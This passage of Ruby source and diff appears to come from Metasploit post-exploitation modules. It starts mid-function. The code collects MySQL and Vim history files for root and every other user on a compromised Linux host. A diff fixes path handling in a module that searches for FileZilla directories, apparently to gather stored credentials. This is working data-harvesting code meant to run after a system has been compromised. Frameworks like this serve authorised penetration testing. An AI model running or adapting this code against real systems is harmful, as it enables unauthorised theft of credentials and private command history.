vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/root/.mysql_history")
else
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/home/#{u}/.mysql_history")
end
save("History for #{u}", hist) unless sql_hist =~ /No such file or directory/
end
else
vprint_status("Extracting SQL history for #{user}")
sql_hist = cat_file("/home/#{user}/.mysql_history")
vprint_status(sql_hist)
save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/
end
end
def get_vim_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/root/.viminfo")
else
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/home/#{u}/.viminfo")
end
save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
vim_hist = cat_file("/home/#{user}/.viminfo")
vprint_status(vim_hist)
save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/
end
end
end

View File

@ -105,8 +105,8 @@ class Metasploit3 < Msf::Post
print_status("Checking for Filezilla directory in: #{filezilladir}")
session.fs.dir.foreach(filezilladir) do |dir|
if dir =~ /FileZilla/
print_status("Found #{filezilladir}#{dir}")
return "#{filezilladir}#{dir}"
print_status("Found #{filezilladir}\\#{dir}")
return "#{filezilladir}\\#{dir}"
end
end
return nil